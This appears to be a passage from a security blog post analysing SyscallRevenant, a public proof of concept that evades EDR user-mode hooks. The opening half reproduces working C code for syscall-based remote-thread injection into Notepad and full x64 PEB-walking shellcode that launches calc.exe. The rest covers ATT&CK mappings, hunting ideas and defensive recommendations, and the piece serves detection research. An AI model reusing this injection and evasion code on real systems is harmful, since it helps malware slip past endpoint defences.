        TRAP_SYSCALL(
                NtCurrentProcess(),
                NULL,
                NULL,
                4096,
                MEM_COMMIT,
                PAGE_READWRITE
        );
        if (!NT_SUCCESS(RUN_SYSCALL(
                PROCESS,
                &INJECT,
                NULL,
                &SIZE,
                MEM_COMMIT,
                PAGE_EXECUTE_READWRITE
        )))
                goto END;

        // 
        // NtWriteVirtualMemory requires 5 parameters.
        //
        // RCX                  => Process handle.
        // RDX                  => Pointer to address.
        // R8                   => Pointer to memory to copy.
        // R9                   => Length of memory to copy.
        // [RSP + 0x20]         => Pointer to bytes copied.
        // 
        SET_FUNCTION(
                ROR7_32__NTDLL,
                ROR7_32__NtWriteVirtualMemory,
                &ENTRY
        );
        TRAP_SYSCALL(
                NtCurrentProcess(),
                NULL,
                NULL,
                NULL,
                NULL
        );
        if (!NT_SUCCESS(RUN_SYSCALL(
                PROCESS,
                INJECT,
                SHELLCODE,
                sizeof(SHELLCODE),
                &SIZE
        )))
                goto END;

        // 
        // NtCreateThreadEx requires 11 parameters.
        //
        // RCX                  => Pointer to thread handle.
        // RDX                  => Thread access.
        // R8                   => Pointer to object attributes
        // R9                   => Process handle.
        // [RSP + 0x20]         => Pointer to memory region.
        // [RSP + 0x28]         => Arguments.
        // [RSP + 0x30]         => Creation flags.
        // [RSP + 0x38]         => Zero bits.
        // [RSP + 0x40]         => Stack size.
        // [RSP + 0x48]         => Max stack size.
        // [RSP + 0x50]         => Attribute list.
        // 
        SET_FUNCTION(
                ROR7_32__NTDLL,
                ROR7_32__NtCreateThreadEx,
                &ENTRY
        );
        TRAP_SYSCALL(
                NULL,
                THREAD_ALL_ACCESS,
                NULL,
                NtCurrentProcess(),
                GetRandom(),
                GetRandom(),
                GetRandom(),
                GetRandom(),
                GetRandom(),
                GetRandom(),
                GetRandom()
        );
        if (!NT_SUCCESS(RUN_SYSCALL(
                &THREAD,
                THREAD_ALL_ACCESS,
                NULL,
                PROCESS,
                INJECT,
                NULL,
                FALSE,
                NULL,
                NULL,
                NULL,
                NULL
        )))
                goto END;
END:
        if (P_OBJECT_ATTRIBUTES)
                RtlFreeHeap(NtGetProcessHeap(), 0, P_OBJECT_ATTRIBUTES);

        if (P_CLIENT_ID)
                RtlFreeHeap(NtGetProcessHeap(), 0, P_CLIENT_ID);

        // 
        // NtTerminateProcess requires 2 parameters.
        //
        // RCX                  => Process handle.
        // RDX                  => Return code.
        // 
        SET_FUNCTION(
                ROR7_32__NTDLL,
                ROR7_32__NtExitProcess,
                &ENTRY
        );
        TRAP_SYSCALL(
                NtCurrentProcess(),
                ZERO
        );
        if (!NT_SUCCESS(RUN_SYSCALL(
                NtCurrentProcess(),
                ZERO
        )))
                return;
}

A few details that are easy to skip on a first read. The first NtQuerySystemInformation is a size probe with a NULL buffer; SIZE comes back, then the real query. NtAllocateVirtualMemory is the six-argument form. Lookup asks for 4096 bytes PAGE_READWRITE in the current process. Execute asks for PAGE_EXECUTE_READWRITE in Notepad. Process handle and protection both change between the photograph and the chute. NtCreateThreadEx is the eleven-argument form; lookup points the start address at random values and the process handle at NtCurrentProcess(), execute points them at the remote page. Cleanup is NtExitProcess on self.

The ASCII revenant and the Wikipedia-flavoured REVENANT[] string are colour. The operational blob is SHELLCODE[162], which is calc/calc.asm assembled.

calc.asm

Position-independent x64. Aligns the stack, pushes 0x6578652E636C6163 (“calc.exe” little-endian), walks the PEB to kernel32 on the second InMemoryOrder hop, hashes exports with the same ROR7-add mix, and jumps to the match. Two hashes: 0x1A22F51 for the first call (WinExec) and 0x6DEC1356 for the RtlExitUserThread-shaped cleanup. Oldest lab payload on Windows. Loud on purpose.

BITS 64

        AND     SPL,    0xF0

RUN_WINEXEC:
        MOV     R11D,   0x1A22F51
        PUSH    0
        MOV     RCX,    0x6578652E636C6163
        PUSH    RCX
        MOV     RCX,    RSP
        SUB     RSP,    0x20
        CMP     RSP,    7
        CALL    RUN_FUNCTION

RUN_RTLEXITUSERTHREAD:
        MOV     R11D,   0x6DEC1356
        PUSH    RCX

RUN_FUNCTION:

GET_NTDLL:
        MOV     RDX,    GS:[0x60]
        MOV     RDX,    QWORD   [RDX + 0x18]
        MOV     RDX,    QWORD   [RDX + 0x30]
        JZ      GET_FUN

GET_KERNEL32:
        MOV     RDX,    QWORD   [RDX]
        MOV     RDX,    QWORD   [RDX]

GET_FUN:
        MOV     RDX,    QWORD   [RDX + 0x10]
        MOV     EBP,    DWORD   [RDX + 0x3C]
        ADD     RBP,    RDX
        MOV     EBP,    DWORD   [RBP + 0x88]
        ADD     RBP,    RDX
        MOV     R8D,    DWORD   [RBP + 0x18]
        MOV     R9D,    DWORD   [RBP + 0x20]
        ADD     R9,     RDX

SEARCH:
        DEC     R8
        MOV     ESI,    DWORD   [R9 + R8 * 4]
        ADD     RSI,    RDX
        XOR     RAX,    RAX
        XOR     R10,    R10
HASH:
        LODSB
        CMP     AL,     0
        JZ      COMPARE
        ROR     R10D,   7
        ADD     R10D,   EAX
        JMP     HASH

COMPARE:
        CMP     R10D,   R11D
        JNZ     SEARCH

        MOV     EAX,    DWORD   [RBP + 0x24]
        ADD     RAX,    RDX
        MOV     R8W,    WORD    [RAX + R8 * 2]
        MOV     EAX,    DWORD   [RBP + 0x1C]
        ADD     RAX,    RDX
        MOV     EAX,    DWORD   [RAX + R8 * 4]
        ADD     RAX,    RDX
        JMP     RAX

It does not know WinExec’s address in advance. Same guest list as the resolver, different DLL, jump to the hash hit, string calc.exe. When Calculator appears, the path worked. On a real job this blob would be something else. Here it is the canary.

The other illustration

assets/ also ships revenant_.jpg, a wider frame the README never embeds. It is in the public tree, so it belongs with the rest of the original rasters.

Wide SyscallRevenant project illustration
Additional project art. Source: original article (assets/revenant_.jpg).

The neighbourhood

The README cites Hell’s Gate, Halo’s Gate, and Dark Vortex on DLL proxying versus ETW-TI stack tracing. That is the right shelf. The table below is orientation, not a plagiarism chart.

FamilySSNFireHook sees args?
Hell’s Gate (am0nsec, 2020)Read mov eax, SSN from a live prologueDirect syscall in attacker memorySkipped
Halo’s Gate (Sektor7 / reenz0h, 2021)Neighbour exports, reconstruct SSN ± NDirect or indirect, depending on the portSkipped on a hooked target
Tartarus’ Gate (trickster0)Walk further when Halo’s siblings are hooked tooSame family of stubsSkipped on a hooked target
SysWhispers / SysWhispers3Sort Zw* by address; SSN is the index, with exceptionsGenerated stubs, often indirectSkipped if the stub never enters the export
Classic indirect (RedOps and others)Any of the abovejmp to syscall; ret in ntdllSkipped if the jump lands on the gadget
DoomSyscalls (same author)Dynamic SSN and opcode resolutionIndirect, RIP spoof via ntdll addressesNo Revenant-style two-pass tamper
SyscallRevenantTrap-walk the hooked stub until 0x0F05; SSN from RAXJump to the saved opcode; stack return swapped for the lookup’s returnYes, on purpose. Dummy on pass one, real on pass two
Hell’s Gate, Halo’s Gate, and the DLL-proxying note are the README’s own references.

am0nsec/HellsGate, Sektor7 Halo’s Gate, 0xdarkvortex.dev. Those three links are the README reference list, in order. Same-author lineage, not cited there: DoomSyscalls and Reverse-Shell-with-Indirect-Syscalls.

Revenant’s bet against prologue readers is that hooked bytes are unreadable as mov eax, imm32, so you execute the stub under single-step instead of parsing it. Against naive indirect syscalls: landing on the gadget without ever entering the export can itself be a signal, whereas a dummy entry produces a benign hook event. Against stack-walk telemetry: the FRTN swap. Each bet fails in a different place. TF storms. QPC gaps. Kernel-visible arguments that do not match the hook event. Frames whose return addresses stop making sense once RRTN is restored.

ATT&CK, and what this is not

A technique and a lab PoC. No CVE in the repository. CWE is a stretch here; the useful indices are ATT&CK and the leftovers the source has to produce if you actually run the demo.

IDNameIn this tree
T1106Native APIEvery kernel transition is an Nt*/Zw* call from a custom trampoline.
T1055Process InjectionRemote RWX + write + NtCreateThreadEx into Notepad.
T1055.002Portable Executable Injection162-byte PIC blob, new thread.
T1027Obfuscated Files or InformationROR7 hashes; no windows.h import table for the Nt* APIs.
T1562.001Impair Defenses: Disable or Modify ToolsHooks are entered, then bypassed.
T1622Debugger EvasionWeak mapping. TF is a debug control used here as a tracer.
T1059Command and Scripting InterpreterWinExec(“calc.exe”) is the lab tell.
No CVE is claimed.

If someone needs a CWE for a control-gap discussion, CWE-693 (Protection Mechanism Failure) is the one that describes a hook that failed to bind entry to kernel operation. That is a sensor-design conversation. There is no Patch Tuesday bulletin hiding in this repo.

What still fires

si13nt already gave away the cleanest hunt: QPC. The rest follows from running the published source as published.

The lookup pass does enter the hooked export. A hook that logs NtOpenProcess(NULL, PROCESS_ALL_ACCESS, NULL, NULL) or NtAllocateVirtualMemory(-1, ...) with nonsense sizes still gets an event. The event looks failed or irrelevant. Pair it with a kernel SysEnter for the same SSN a little later with different arguments.

ETW-TI still sees a syscall whose RIP is inside ntdll. The spoofed return tries to make the user frame look like the lookup. Inconsistency between an Rsp-derived walk and the restored RRTN after TRAMPOLINE_EXIT is a hunting surface.

The demo allocates RWX in another process and calls NtCreateThreadEx. Sysmon Event 10 (ProcessAccess), Event 8 (CreateRemoteThread), and Event 1 for calc.exe with parent Notepad remain theatrical. VEH registration with First=1 plus a burst of EXCEPTION_SINGLE_STEP is a signature on its own.

# Hunt sketch. Not a production pack.
# 1) User-mode hook log: Nt* entry with dummy / current-process args.
# 2) Kernel SysEnter, same SSN, different args, QPC delta too long for a clean stub.
# 3) Sysmon:
#    Event 10  TargetImage ~ notepad.exe
#    Event 8   start in notepad, StartFunction not a known export
#    Event 1   Image = *\calc.exe, ParentImage = *\notepad.exe
# 4) Count EXCEPTION_SINGLE_STEP in the issuing process in the same window.

Stop treating “syscall originated in ntdll” as a close. That check is what indirect syscalls were invented to satisfy. Bind three clocks: hook-entry QPC, SysEnter QPC, SysExit QPC. Bind two argument records: hook-visible RCX/RDX/R8/R9 versus kernel-visible. Bind two stacks: the one the hook sampled and the one ETW-TI sampled. Revenant is built so each pair is almost consistent. The residual is the pair that is not. Kernel callbacks (PsSetCreateThreadNotifyRoutine, ObRegisterCallbacks on process handles) still see the execute pass. They sit on the other side of the chute.

References

README order:

Key Takeaways

  • Trap-flag walk of a hooked ntdll stub, then an indirect syscall with swapped arguments and a borrowed return address. MIT, si13nt / SilentisVox.
  • Pass one is supposed to satisfy user-mode hooks. Pass two is supposed to satisfy “came from ntdll.” The detection is the disagreement, plus the clock.
  • SSN and opcode come from the live process, so ntdll rebases and smashed prologues that kill Hell’s Gate readers are less of a problem.
  • The published PoC is still remote calc into Notepad. Sysmon will notice even if the hook did not.
  • ROR7 hashes, PEB from GS:[0x60], no GetProcAddress on the syscall path. Cheap IOCs for this build; the method survives a rehash.
  • README says AsmRevenant.asm and REAL_RTN. The tree says Revenant.asm and RRTN. Teaching names in the VEH sketch differ from the C.
  • No CVE. Kernel callbacks, ETW-TI argument binding, and single-step storms still exist.

Defensive Recommendations

  1. Bind hook telemetry to SysEnter. Store SSN, QPC, and the first four arguments on both sides. Alert when they disagree, and when they agree too slowly.
  2. Count EXCEPTION_SINGLE_STEP inside ntdll .text. That burst is the rehearsal.
  3. Keep ObRegisterCallbacks on process and thread objects, plus thread-notify. They see the execute pass of this demo.
  4. RWX in a foreign process plus a thread start at a non-image address is still a high-quality signal when the allocator’s user-mode hook was fed dummy arguments.
  5. Stack-walk, then check RSP. A return that points at a benign TRAP_SYSCALL site while the current frame cannot unwind there is the spoof tearing.
  6. Leave the user-mode hooks in place. Revenant uses them as cover. Correlation is the fix.
  7. Lab the public tree. Signature the hashes if you want a cheap win on this exact build, and hunt the method for the next one.

Conclusion

User-mode EDR has lived for years with a lazy bind: function entry equals kernel operation. SyscallRevenant is a public, fairly small demonstration of how that bind comes apart. Single-step the hooked stub, steal the number and the opcode, jump back with a different letter in the envelope, leave a return address that photographs well. The same source shows why the trick is audible. Trap flags clatter. Clocks drift. Notepad grows a thread it did not ask for, and Calculator still launches. Read it as a sensor-design critique, run it where you have permission, and keep the chute instrumented as carefully as the lobby.

Original text: “SyscallRevenant” by si13nt (GitHub: SilentisVox), MIT License, 2026.

oxfemale Vulnerability research, reverse engineering, and exploit development.
// Discussion